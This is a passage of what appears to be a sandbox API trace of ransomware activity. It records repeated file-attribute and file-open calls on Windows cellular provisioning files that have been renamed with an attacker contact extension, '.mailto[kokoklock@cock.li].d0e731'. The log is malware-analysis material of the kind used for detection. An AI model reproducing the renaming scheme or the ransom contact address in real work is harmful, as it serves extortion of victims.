(Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.256] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.256] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.256] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305edf0) returned 1 [0177.256] RtlExitUserThread (Status=0x0) Thread: id = 2613 os_tid = 0x1058 [0177.257] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.257] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.257] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.257] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.258] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa8640) returned 1 [0177.258] RtlExitUserThread (Status=0x0) Thread: id = 2614 os_tid = 0x105c [0177.259] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.259] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.259] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.259] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.259] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa87d0) returned 1 [0177.259] RtlExitUserThread (Status=0x0) Thread: id = 2615 os_tid = 0x1060 [0177.260] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.261] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.261] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.261] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.262] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa8960) returned 1 [0177.262] RtlExitUserThread (Status=0x0) Thread: id = 2616 os_tid = 0x1064 [0177.263] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.263] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.263] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.263] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.263] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa8af0) returned 1 [0177.263] RtlExitUserThread (Status=0x0) Thread: id = 2617 os_tid = 0x1068 [0177.264] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.265] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.265] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.265] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.265] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa8c98) returned 1 [0177.265] RtlExitUserThread (Status=0x0) Thread: id = 2618 os_tid = 0x106c [0177.266] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.266] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.267] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.267] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.267] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa8e20) returned 1 [0177.267] RtlExitUserThread (Status=0x0) Thread: id = 2619 os_tid = 0x1070 [0177.268] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.268] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.268] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.268] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa8fb8) returned 1 [0177.268] RtlExitUserThread (Status=0x0) Thread: id = 2620 os_tid = 0x1074 [0177.270] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.270] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.270] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.270] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.270] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa9150) returned 1 [0177.270] RtlExitUserThread (Status=0x0) Thread: id = 2621 os_tid = 0x1078 [0177.271] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.272] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.272] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.272] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.272] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa92c8) returned 1 [0177.272] RtlExitUserThread (Status=0x0) Thread: id = 2622 os_tid = 0x107c [0177.273] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.273] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.274] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.274] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.274] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa9478) returned 1 [0177.274] RtlExitUserThread (Status=0x0) Thread: id = 2623 os_tid = 0x1080 [0177.275] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.276] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.276] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.276] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.276] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3018) returned 1 [0177.276] RtlExitUserThread (Status=0x0) Thread: id = 2624 os_tid = 0x1084 [0177.278] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.278] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.278] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.278] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.278] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe31a0) returned 1 [0177.278] RtlExitUserThread (Status=0x0) Thread: id = 2625 os_tid = 0x1088 [0177.280] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.280] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.280] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.280] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.280] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3318) returned 1 [0177.280] RtlExitUserThread (Status=0x0) Thread: id = 2626 os_tid = 0x108c [0177.281] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all 